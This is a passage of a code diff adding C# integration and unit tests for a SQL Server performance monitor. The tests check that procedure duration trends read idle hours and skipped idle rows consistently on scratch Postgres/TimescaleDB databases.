+                    data, DurationTrendRouting.BuildHourlyTrendSql(rollup, withFilter, coverIdleHours: true), withFilter, server, h0, end, null, ct);
+                Assert.Equal(new[] { 0, 1, 2, 4, 5 }.Select(h => h0.AddHours(h)), hourlyPoints.Select(p => p.Time));
+                Assert.Equal(new[] { 0.0, 1.0, 1.0, 1.0, 0.0 }, hourlyPoints.Select(p => Math.Round(p.Value, 9)));
+            }
+
+            /* The 7-hour bucket, both statements over the rollup: 3 busy hours of 3,600 ms over five hours. */
+            foreach (var withFilter in new[] { false, true })
+            {
+                var bucketed = await ReadAsync(
+                    data, DurationTrendRouting.BuildBucketedHourlyTrendSql(rollup, withFilter, coverIdleHours: true), withFilter, server, h0, end, 420, ct);
+                var point = Assert.Single(bucketed);
+                Assert.Equal(h0, point.Time);
+                Assert.Equal(3.0 / 5.0, point.Value, 9);
+            }
+
+            /* And the tool's own statement: the same bucket. */
+            var json = await DarlingMcpTrendTools.GetProcedureDurationTrend(
+                data, name, 7, DateTime.SpecifyKind(end, DateTimeKind.Utc).ToString("o"), 420, DatabaseFilter.All,
+                TrendBudget.Mcp(TrendBuckets.DurationMaxPoints), ct);
+            var trend = JsonDocument.Parse(json).RootElement.GetProperty("trend").EnumerateArray().ToArray();
+            Assert.Equal(3.0 / 5.0, Assert.Single(trend).GetProperty("elapsed_ms_per_second").GetDouble(), 9);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await CleanupAsync(scratch, bodySucceeded);
+        }
+    }
+
+    /// <summary>
+    /// L1: a window that opens on idle hours the collector ran in. The first two hours stored nothing (two quiet runs), the work
+    /// starts in hour 2. The series starts at the window's start, so the tool does not report the window as cut short; before the
+    /// idle hours were read from the runs, the first point was hour 2, more than the 90-minute slack after the start.
+    /// </summary>
+    [Fact]
+    public async Task HourlyTier_AWindowThatOpensOnIdleHoursWithRuns_IsNotTruncated()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live procedure_stats idle-hour test.");
+        var ct = TestContext.Current.CancellationToken;
+        const int server = -544914;
+        const string name = "idle-hours-edge";
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = await OpenHypertableStoreAsync(scratch, ct, (server, name));
+        var bodySucceeded = false;
+        try
+        {
+            var windowEnd = WindowStart.AddDays(1);
+            for (var hour = 0; hour <= 3; hour++)
+            {
+                var at = WindowStart.AddHours(hour).AddMinutes(10);
+                var busy = hour >= 2;
+                await InsertAsync(connection, server, name, at, busy, ct, skipWhenIdle: true);
+                await LogRunAsync(connection, server, name, at.AddSeconds(3), busy ? 1 : 0, ct);
+            }
+
+            await RefreshAndPurgeAsync(connection, WindowStart, windowEnd, ct);
+
+            await using var data = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var json = await DarlingMcpTrendTools.GetProcedureDurationTrend(
+                data, name, 24, DateTime.SpecifyKind(windowEnd, DateTimeKind.Utc).ToString("o"), 60, DatabaseFilter.All,
+                TrendBudget.Mcp(TrendBuckets.DurationMaxPoints), ct);
+            var root = JsonDocument.Parse(json).RootElement;
+
+            Assert.Equal("hourly", root.GetProperty("source").GetString());
+            Assert.False(root.GetProperty("window_truncated").GetBoolean());
+            var trend = root.GetProperty("trend").EnumerateArray().ToArray();
+            Assert.Equal(4, trend.Length);
+            Assert.Equal(0.0, trend[0].GetProperty("elapsed_ms_per_second").GetDouble(), 9);
+            Assert.Equal(0.0, trend[1].GetProperty("elapsed_ms_per_second").GetDouble(), 9);
+            Assert.True(trend[2].GetProperty("elapsed_ms_per_second").GetDouble() > 0);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await CleanupAsync(scratch, bodySucceeded);
+        }
+    }
+
+    /// <summary>
+    /// #5449 round 2: a busy run (it stored rows) whose point lands in the next hour must not make that hour. The run starts at
+    /// 1:59:58 and stores its row in hour 1, but its log row (2:00:02, duration 1 s) puts the plotted point in hour 2. Hour 2 has no
+    /// rollup row and no other run: the collector was down for it, so it stays a gap. Counting a busy run in <c>run_hours</c> filled it
+    /// with a 0 over 3,600 s. Hours 0 and 3 hold idle runs and fill with 0.
+    /// </summary>
+    [Fact]
+    public async Task HourlyTier_ABusyRunCrossingAnHourEdgeDoesNotFillTheOutageHourAfterIt()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live procedure_stats idle-hour test.");
+        var ct = TestContext.Current.CancellationToken;
+        const int server = -544915;
+        const string name = "idle-hours-edge-run";
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = await OpenHypertableStoreAsync(scratch, ct, (server, name));
+        var bodySucceeded = false;
+        try
+        {
+            var h0 = WindowStart.AddDays(30);
+            var end = h0.AddHours(6);
+
+            await LogRunAsync(connection, server, name, h0.AddMinutes(10).AddSeconds(3), rowsCollected: 0, ct);
+            await InsertAsync(connection, server, name, h0.AddHours(1).AddMinutes(10), busy: true, ct, skipWhenIdle: true);
+            await LogRunAsync(connection, server, name, h0.AddHours(1).AddMinutes(10).AddSeconds(3), rowsCollected: 1, ct);
+            await InsertAsync(connection, server, name, h0.AddHours(1).AddMinutes(59).AddSeconds(58), busy: true, ct, skipWhenIdle: true);
+            await LogRunAsync(connection, server, name, h0.AddHours(2).AddSeconds(2), rowsCollected: 1, ct, durationMs: 1000);
+            await LogRunAsync(connection, server, name, h0.AddHours(3).AddMinutes(10).AddSeconds(3), rowsCollected: 0, ct);
+
+            await RefreshAndPurgeAsync(connection, h0, end, ct);
+
+            await using var data = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var rollup = $"collect.{TimescaleSupport.ProcedureStatsIntervalHourlyView}";
+            var points = await ReadAsync(
+                data, DurationTrendRouting.BuildHourlyTrendSql(rollup, false, coverIdleHours: true), false, server, h0, end, null, ct);
+
+            Assert.Equal(new[] { 0, 1, 3 }.Select(h => h0.AddHours(h)), points.Select(p => p.Time));
+            Assert.Equal(0.0, points[0].Value, 9);
+            Assert.Equal(0.0, points[2].Value, 9);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await CleanupAsync(scratch, bodySucceeded);
+        }
+    }
+
+    private static async Task<NpgsqlConnection> OpenHypertableStoreAsync(
+        ScratchPostgres scratch, CancellationToken ct, params (int Id, string Name)[] servers)
+    {
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var timescaleEnabled = await TimescaleSupport.TryEnableAsync(connection, null, ct);
+        Assert.SkipWhen(!timescaleEnabled, "The live procedure_stats idle-hour test needs TimescaleDB.");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+        await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection))
+        {
+            await stop.ExecuteNonQueryAsync(ct);
+        }
+
+        foreach (var (id, name) in servers)
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, id, name, ct);
+        }
+
+        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
+        return connection;
+    }
+
+    /// <summary>Materializes the interval rollup over [from, to) and then deletes the raw rows in it, so the routed read serves from the rollup.</summary>
+    private static async Task RefreshAndPurgeAsync(NpgsqlConnection connection, DateTime from, DateTime to, CancellationToken ct)
+    {
+        await using (var refresh = new NpgsqlCommand(
+            $"CALL refresh_continuous_aggregate('collect.{TimescaleSupport.ProcedureStatsIntervalHourlyView}'::regclass, $1::timestamp, $2::timestamp)", connection))
+        {
+            refresh.Parameters.AddWithValue(from);
+            refresh.Parameters.AddWithValue(to);
+            await refresh.ExecuteNonQueryAsync(ct);
+        }
+
+        await using var purge = new NpgsqlCommand("DELETE FROM collect.procedure_stats WHERE collection_time >= $1 AND collection_time < $2", connection);
+        purge.Parameters.AddWithValue(from);
+        purge.Parameters.AddWithValue(to);
+        await purge.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task CleanupAsync(ScratchPostgres scratch, bool bodySucceeded)
+    {
+        await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+        {
+            await using var probe = new NpgsqlCommand(
+                "SELECT count(*) FROM pg_catalog.pg_stat_activity WHERE datname = pg_catalog.current_database() " +
+                "AND backend_type LIKE 'TimescaleDB Background Worker Scheduler%'", cleanup);
+            Assert.Equal(0L, Convert.ToInt64(await probe.ExecuteScalarAsync(cleanupCt)));
+        });
+    }
+
+    /// <summary>Runs one hourly statement. Parameters: $1 server, $2 start, $3 end, [$4 the database filter, null = all], then the bucket width when given.</summary>
+    private static async Task<List<(DateTime Time, double Value)>> ReadAsync(
+        NpgsqlDataSource data, string sql, bool withFilter, int serverId, DateTime start, DateTime end, int? widthMinutes, CancellationToken ct)
+    {
+        await using var command = data.CreateCommand(sql);
+        command.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Integer, serverId);
+        command.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Timestamp, start);
+        command.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Timestamp, end);
+        if (withFilter)
+        {
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Array | NpgsqlTypes.NpgsqlDbType.Text, Value = DBNull.Value });
+        }
+
+        if (widthMinutes is int width)
+        {
+            command.Parameters.AddWithValue(NpgsqlTypes.NpgsqlDbType.Integer, width);
+        }
+
+        var rows = new List<(DateTime, double)>();
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            rows.Add((reader.GetDateTime(0), reader.GetDouble(1)));
+        }
+
+        return rows;
+    }
+
+    private static async Task<Dictionary<DateTime, double>> McpSeriesAsync(
+        NpgsqlDataSource data, string serverName, string asOf, int bucketMinutes, TrendBudget budget, CancellationToken ct)
+    {
+        var json = await DarlingMcpTrendTools.GetProcedureDurationTrend(data, serverName, 24, asOf, bucketMinutes, DatabaseFilter.All, budget, ct);
+        var root = JsonDocument.Parse(json).RootElement;
+        Assert.Equal("hourly", root.GetProperty("source").GetString());
+        return root.GetProperty("trend").EnumerateArray().ToDictionary(
+            p => DateTime.Parse(p.GetProperty("time").GetString()!, System.Globalization.CultureInfo.InvariantCulture, System.Globalization.DateTimeStyles.RoundtripKind),
+            p => p.GetProperty("elapsed_ms_per_second").GetDouble());
+    }
+
+    private static async Task<Dictionary<DateTime, double>> ViewerSeriesAsync(
+        ViewerDataService viewer, int serverId, DateTime windowEnd, DateTime now, CancellationToken ct)
+    {
+        var series = await viewer.GetProcedureDurationTrendAsync(serverId, WindowStart, windowEnd, null, now, ct);
+        Assert.Equal(RetentionTier.Hourly, series.Tier);
+        return series.Points.ToDictionary(p => p.CollectionTime, p => p.Value);
+    }
+
+    private static async Task LogRunAsync(
+        NpgsqlConnection connection, int serverId, string serverName, DateTime loggedAt, int rowsCollected, CancellationToken ct, int durationMs = 3000)
+        => await DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO collect.collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+              VALUES ($1, $2, $3, 'procedure_stats', $4, $6, 'SUCCESS', $5)",
+            CollectionIdGenerator.Next(), serverId, serverName, loggedAt, rowsCollected, durationMs);
+
+    private static async Task InsertAsync(
+        NpgsqlConnection connection, int serverId, string serverName, DateTime at, bool busy, CancellationToken ct, bool skipWhenIdle)
+    {
+        if (!busy && skipWhenIdle)
+        {
+            return;
+        }
+
+        var weight = busy ? 3_600_000L : 0L;
+        var executions = busy ? 10L : 0L;
+        await DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO collect.procedure_stats (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle,
+                  delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, total_logical_reads, sample_interval_seconds)
+              VALUES ($1, $2, $3, $4, 'AppDb', 'dbo', 'usp_Work', '0x01', $5, $6, $6, 0, 0, 60)",
+            CollectionIdGenerator.Next(), at, serverId, serverName, executions, weight);
+    }
+}
diff --git a/Darling/Darling.Tests/ProcedureStatsIdleRowsLiveTests.cs b/Darling/Darling.Tests/ProcedureStatsIdleRowsLiveTests.cs
new file mode 100644
index 0000000000..5ca3a32f00
--- /dev/null
+++ b/Darling/Darling.Tests/ProcedureStatsIdleRowsLiveTests.cs
@@ -0,0 +1,246 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5449: the procedure_stats collector stores no row for a procedure that did no work in a cycle. A missing minute is
+/// "no work", not "no data", and an older store still holds the idle rows (deltas 0, interval 60). A reader must give the
+/// same answer on both. Each test seeds two servers with the same work: <see cref="OldServer"/> keeps the idle rows,
+/// <see cref="NewServer"/> leaves them out.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only to
+   CREATE and DROP its own database through ScratchPostgres, then works entirely inside it. */
+public sealed class ProcedureStatsIdleRowsLiveTests
+{
+    private const int OldServer = -544901;
+    private const int NewServer = -544902;
+
+    [Fact]
+    public async Task BucketedRawTrend_IdleMinutesNotStored_ReadsTheSameAsStoredIdleRows()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(ct);
+
+        var oldRows = await ReadTrendAsync(store, OldServer, ct);
+        var newRows = await ReadTrendAsync(store, NewServer, ct);
+
+        Assert.Equal(3, oldRows.Count);
+        Assert.Equal(oldRows.Count, newRows.Count);
+        for (var i = 0; i < oldRows.Count; i++)
+        {
+            Assert.Equal(oldRows[i].Bucket, newRows[i].Bucket);
+            Assert.Equal(oldRows[i].ElapsedMsPerSecond, newRows[i].ElapsedMsPerSecond, precision: 6);
+            Assert.Equal(oldRows[i].ExecutionsPerSecond, newRows[i].ExecutionsPerSecond, precision: 6);
+        }
+
+        /* 1,200 ms of work over the nine rated one-minute points (minutes 1 to 9: minute 0, the series' first run, has no previous
+           point, so it carries no seconds), not over the two stored collections' 120 s (which read 10). */
+        Assert.Equal(1200.0 / 540.0, newRows[0].ElapsedMsPerSecond, precision: 6);
+        Assert.Equal(1.0, newRows[1].ElapsedMsPerSecond, precision: 6);
+        /* The last bucket: 600 ms over the six points (minute 20 and five quiet runs) it holds, 360 s. */
+        Assert.Equal(600.0 / 360.0, newRows[2].ElapsedMsPerSecond, precision: 6);
+    }
+
+    [Fact]
+    public async Task ChartPoints_AQuietRunPlotsZero_OnBothStores()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(ct);
+
+        var oldRows = await ReadTrendAsync(store, OldServer, ct, bucketMinutes: 1);
+        var newRows = await ReadTrendAsync(store, NewServer, ct, bucketMinutes: 1);
+
+        /* Every run from minute 0 to 25 is a point (26), the quiet ones at 0: no line drawn across a gap. Minute 0 is the first
+           run in the series, so it has no rate to plot (the read keeps it as an unrated point). */
+        Assert.Equal(26, oldRows.Count);
+        Assert.Equal(oldRows.Select(r => (r.Bucket, r.ElapsedMsPerSecond)), newRows.Select(r => (r.Bucket, r.ElapsedMsPerSecond)));
+        Assert.Equal(Enumerable.Range(3, 12).Concat(Enumerable.Range(16, 4)).Concat(Enumerable.Range(21, 5)),
+            newRows.Where(r => r.ElapsedMsPerSecond == 0.0).Select(r => (int)(r.Bucket - store.WorkStart).TotalMinutes).OrderBy(m => m));
+        Assert.Equal(0.0, newRows.Single(r => r.Bucket == store.WorkStart.AddMinutes(3)).ElapsedMsPerSecond, precision: 6);
+        Assert.Equal(10.0, newRows.Single(r => r.Bucket == store.WorkStart.AddMinutes(15)).ElapsedMsPerSecond, precision: 6);
+    }
+
+    [Fact]
+    public async Task ProcedureSlicer_ProcedureCountIsOfProceduresWithWork_OnBothStores()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(ct);
+
+        var oldCounts = await ReadSlicerAsync(store, OldServer, ct);
+        var newCounts = await ReadSlicerAsync(store, NewServer, ct);
+
+        Assert.NotEmpty(newCounts);
+        Assert.Equal(oldCounts, newCounts);
+        Assert.All(newCounts, c => Assert.Equal(1L, c.Count));
+    }
+
+    private static async Task<List<(DateTime Bucket, double ElapsedMsPerSecond, double ExecutionsPerSecond)>> ReadTrendAsync(
+        SeededStore store, int serverId, CancellationToken ct, int bucketMinutes = 10)
+    {
+        await using var command = store.DataSource.CreateCommand(DurationTrendRouting.BuildBucketedRawTrendSql("procedure_stats", withDatabaseFilter: false));
+        command.Parameters.AddWithValue(serverId);
+        /* From the first run to the run at minute 25 (its log row lands three seconds after its start, so the window ends a moment later). */
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(store.WorkStart, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(store.WorkStart.AddMinutes(25).AddSeconds(30), DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(bucketMinutes);
+        var rows = new List<(DateTime, double, double)>();
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            /* A NULL rate (the series' first point has no previous point) reads as NaN so two reads compare equal. */
+            rows.Add((reader.GetDateTime(0), reader.IsDBNull(1) ? double.NaN : reader.GetDouble(1), reader.IsDBNull(2) ? double.NaN : reader.GetDouble(2)));
+        }
+        return rows;
+    }
+
+    private static async Task<List<(DateTime Bucket, long Count)>> ReadSlicerAsync(SeededStore store, int serverId, CancellationToken ct)
+    {
+        await using var command = store.DataSource.CreateCommand(ViewerDataService.ProcStatsSlicerSql);
+        command.Parameters.AddWithValue(serverId);
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(store.WorkStart.AddHours(-1), DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(store.WorkStart.AddHours(2), DateTimeKind.Unspecified));
+        command.Parameters.Add(new NpgsqlParameter { Value = DBNull.Value, NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Array | NpgsqlTypes.NpgsqlDbType.Text });
+        var rows = new List<(DateTime, long)>();
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            rows.Add((reader.GetDateTime(0), reader.GetInt64(1)));
+        }
+        return rows;
+    }
+
+    private sealed class SeededStore : IAsyncDisposable
+    {
+        private readonly ScratchPostgres _scratch;
+
+        private SeededStore(ScratchPostgres scratch, NpgsqlDataSource dataSource, DateTime workStart, DateTime end)
+        {
+            _scratch = scratch;
+            DataSource = dataSource;
+            WorkStart = workStart;
+            End = end;
+        }
+
+        public NpgsqlDataSource DataSource { get; }
+
+        public string ConnectionString => _scratch.ConnectionString;
+
+        /// <summary>A 10-minute boundary, 6 hours ago: minute 0 of the seeded twenty collections.</summary>
+        public DateTime WorkStart { get; }
+
+        public DateTime End { get; }
+
+        public static async Task<SeededStore> CreateAsync(CancellationToken ct)
+        {
+            var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+            Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+                "Set DARLING_TEST_PG to a Postgres connection string to run the live procedure_stats idle-row tests.");
+
+            var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+            try
+            {
+                await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+                await connection.OpenAsync(ct);
+                await PgMigrations.MigrateAsync(connection, ct);
+                await DarlingMcpTestData.RegisterServerAsync(connection, OldServer, "idle-rows-old", ct);
+                await DarlingMcpTestData.RegisterServerAsync(connection, NewServer, "idle-rows-new", ct);
+
+                var now = DateTime.UtcNow.AddHours(-6);
+                var workStart = new DateTime(now.Year, now.Month, now.Day, now.Hour, now.Minute - (now.Minute % 10), 0, DateTimeKind.Utc);
+                var end = workStart.AddHours(6);
+                var work = new HashSet<int> { 1, 2, 15, 20 };
+                for (var k = 1; k <= 20; k++)
+                {
+                    var at = workStart.AddMinutes(k);
+                    if (work.Contains(k))
+                    {
+                        await InsertAsync(connection, OldServer, "idle-rows-old", at, 10, 600_000, ct);
+                        await InsertAsync(connection, NewServer, "idle-rows-new", at, 10, 600_000, ct);
+                    }
+                    else
+                    {
+                        await InsertAsync(connection, OldServer, "idle-rows-old", at, 0, 0, ct);
+                    }
+                }
+
+                /* A second procedure that never worked: a row of zeros on the old store, nothing on the new. */
+                await using (var never = new NpgsqlCommand(@"
+INSERT INTO collect.procedure_stats
+    (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle,
+     delta_worker_time, delta_elapsed_time, delta_execution_count, sample_interval_seconds)
+VALUES ((SELECT COALESCE(MAX(collection_id), 0) + 1 FROM collect.procedure_stats), $1, $2, 'idle-rows-old', 'AppDb', 'dbo', 'usp_NeverWorked', '0x02', 0, 0, 0, 60)", connection))
+                {
+                    never.Parameters.AddWithValue(DateTime.SpecifyKind(workStart.AddMinutes(3), DateTimeKind.Unspecified));
+                    never.Parameters.AddWithValue(OldServer);
+                    await never.ExecuteNonQueryAsync(ct);
+                }
+
+                /* The collector's runs for the new server across the whole span, in production order: a run's rows are stamped at its
+                   start T and its log row lands three seconds later (the run's SQL and storage time, 3000 ms), SUCCESS, with the rows
+                   it stored. The busy minutes (1, 2, 15, 20) stored one row; every other run stored none and logs rows_collected 0.
+                   So the last hours hold runs and no procedure_stats row. */
+                await DarlingMcpTestData.ExecAsync(
+                    connection, ct,
+                    "INSERT INTO collect.collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected) "
+                    + "SELECT row_number() OVER (), $1, $2, 'procedure_stats', t + interval '3 seconds', 3000, 'SUCCESS', "
+                    + "CASE WHEN extract(epoch FROM t - $3::timestamp) / 60 IN (1, 2, 15, 20) THEN 1 ELSE 0 END "
+                    + "FROM generate_series($3::timestamp, $4::timestamp, interval '1 minute') AS t",
+                    NewServer, "idle-rows-new", DateTime.SpecifyKind(workStart, DateTimeKind.Unspecified), DateTime.SpecifyKind(end, DateTimeKind.Unspecified));
+                /* The old store ran the collector on the same cadence; it just kept a row for every run (minutes 1 to 20 here). */
+                await DarlingMcpTestData.ExecAsync(
+                    connection, ct,
+                    "INSERT INTO collect.collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected) "
+                    + "SELECT 1000000 + row_number() OVER (), $1, $2, 'procedure_stats', t + interval '3 seconds', 3000, 'SUCCESS', "
+                    + "CASE WHEN extract(epoch FROM t - $3::timestamp) / 60 BETWEEN 1 AND 20 THEN 1 ELSE 0 END "
+                    + "FROM generate_series($3::timestamp, $4::timestamp, interval '1 minute') AS t",
+                    OldServer, "idle-rows-old", DateTime.SpecifyKind(workStart, DateTimeKind.Unspecified), DateTime.SpecifyKind(end, DateTimeKind.Unspecified));
+
+                return new SeededStore(scratch, NpgsqlDataSource.Create(scratch.ConnectionString), workStart, end);
+            }
+            catch
+            {
+                await scratch.DisposeAsync();
+                throw;
+            }
+        }
+
+        private static async Task InsertAsync(
+            NpgsqlConnection connection, int serverId, string serverName, DateTime at, long executions, long elapsedUs, CancellationToken ct)
+        {
+            await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.procedure_stats
+    (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle,
+     delta_worker_time, delta_elapsed_time, delta_execution_count, sample_interval_seconds)
+VALUES ((SELECT COALESCE(MAX(collection_id), 0) + 1 FROM collect.procedure_stats), $1, $2, $3, 'AppDb', 'dbo', 'usp_Work', '0x01', $4, $4, $5, 60)", connection);
+            insert.Parameters.AddWithValue(DateTime.SpecifyKind(at, DateTimeKind.Unspecified));
+            insert.Parameters.AddWithValue(serverId);
+            insert.Parameters.AddWithValue(serverName);
+            insert.Parameters.AddWithValue(elapsedUs);
+            insert.Parameters.AddWithValue(executions);
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        public async ValueTask DisposeAsync()
+        {
+            await DataSource.DisposeAsync();
+            await _scratch.DisposeAsync();
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ProcedureStatsIdleSkipTests.cs b/Darling/Darling.Tests/ProcedureStatsIdleSkipTests.cs
new file mode 100644
index 0000000000..df228c48d9
--- /dev/null
+++ b/Darling/Darling.Tests/ProcedureStatsIdleSkipTests.cs
@@ -0,0 +1,365 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Data;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Collectors;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5449: <c>procedure_stats</c> keeps every candidate that did work. A row whose seven counters all equal their cached
+/// baselines is dropped at read time (the calculator advances its timestamp and reports zero over a measured interval);
+/// every other row is stored exactly as before, with its delta computed by the write. These tests drive
+/// <c>ReadAsync</c> and <c>WritePayload</c> through the real <see cref="CollectorDeltaCalculator"/> the way a host does.
+/// </summary>
+public sealed class ProcedureStatsIdleSkipTests
+{
+    private static readonly DateTime s_t0 = new(2026, 10, 7, 12, 0, 0, DateTimeKind.Utc);
+
+    /// <summary>One DMV row's counters: handle, executions, worker, elapsed, logical reads, logical writes, physical reads, spills.</summary>
+    private readonly record struct Counters(string Handle, long Exec, long Worker, long Elapsed, long Reads, long Writes, long Phys, long Spills)
+    {
+        public static Counters Of(string handle, long n, long elapsed = -1) =>
+            new(handle, n, n * 10, elapsed < 0 ? n * 100 : elapsed, n * 5, n * 2, n, 0);
+    }
+
+    private readonly record struct Written(string Handle, long[] Deltas, int Interval);
+
+    /// <summary>Delegates to a real calculator and counts every delta call per (group, key).</summary>
+    private sealed class CountingCalculator : ICollectorDeltaCalculator
+    {
+        private readonly CollectorDeltaCalculator _inner = new();
+        public Dictionary<string, int> Calls { get; } = new();
+        public int CallsFor(string key) => Calls.Where(c => c.Key.EndsWith("|" + key, StringComparison.Ordinal)).Sum(c => c.Value);
+
+        public long CalculateDelta(int serverId, string collectorName, string key, long currentValue, DateTime? collectionTime = null, int maxGapSeconds = 0)
+            => _inner.CalculateDelta(serverId, collectorName, key, currentValue, collectionTime, maxGapSeconds);
+
+        public long CalculateDeltaWithInterval(int serverId, string collectorName, string key, long currentValue,
+            out int intervalSeconds, DateTime? collectionTime = null, int maxGapSeconds = 0)
+        {
+            var id = collectorName + "|" + key;
+            Calls[id] = Calls.GetValueOrDefault(id) + 1;
+            return _inner.CalculateDeltaWithInterval(serverId, collectorName, key, currentValue, out intervalSeconds, collectionTime, maxGapSeconds);
+        }
+
+        public IReadOnlyDictionary<string, long> PeekBaselines(int serverId, string collectorName) => _inner.PeekBaselines(serverId, collectorName);
+    }
+
+    /// <summary>A calculator that peeks nothing: the interface's empty default, as every older test double does.</summary>
+    private sealed class NoPeekCalculator : ICollectorDeltaCalculator
+    {
+        public long CalculateDelta(int serverId, string collectorName, string key, long currentValue, DateTime? collectionTime = null, int maxGapSeconds = 0) => 0;
+
+        public long CalculateDeltaWithInterval(int serverId, string collectorName, string key, long currentValue,
+            out int intervalSeconds, DateTime? collectionTime = null, int maxGapSeconds = 0)
+        {
+            intervalSeconds = 60;
+            return 0;
+        }
+    }
+
+    private sealed class CapturingWriter : ICollectorRowWriter
+    {
+        public List<long> Longs { get; } = new();
+        public List<int> Ints { get; } = new();
+        public ICollectorRowWriter Value(string? value) => this;
+        public ICollectorRowWriter Value(long value) { Longs.Add(value); return this; }
+        public ICollectorRowWriter Value(long? value) => this;
+        public ICollectorRowWriter Value(int value) { Ints.Add(value); return this; }
+        public ICollectorRowWriter Value(int? value) => this;
+        public ICollectorRowWriter Value(short value) => this;
+        public ICollectorRowWriter Value(short? value) => this;
+        public ICollectorRowWriter Value(double value) => this;
+        public ICollectorRowWriter Value(double? value) => this;
+        public ICollectorRowWriter Value(decimal value) => this;
+        public ICollectorRowWriter Value(decimal? value) => this;
+        public ICollectorRowWriter Value(bool value) => this;
+        public ICollectorRowWriter Value(bool? value) => this;
+        public ICollectorRowWriter Value(DateTime value) => this;
+        public ICollectorRowWriter Value(DateTime? value) => this;
+        public ICollectorRowWriter NullValue() => this;
+    }
+
+    private static CollectorContext Context(ICollectorDeltaCalculator deltas, DateTime time) => new()
+    {
+        ServerId = 7,
+        ServerName = "example-sql-01",
+        CollectionTime = time,
+        Deltas = deltas,
+        Target = new CollectorTargetInfo(),
+        CapturePlanXml = false,
+    };
+
+    private static async Task<List<ProcedureStatsCollector.Row>> ReadAsync(ICollectorDeltaCalculator deltas, DateTime time, params Counters[] rows)
+    {
+        using var table = new DataTable();
+        for (var i = 0; i < 27; i++)
+        {
+            table.Columns.Add("c" + i.ToString(CultureInfo.InvariantCulture), i switch
+            {
+                4 or 5 => typeof(DateTime),
+                0 or 1 or 2 or 3 or 25 or 26 => typeof(string),
+                _ => typeof(long),
+            });
+        }
+
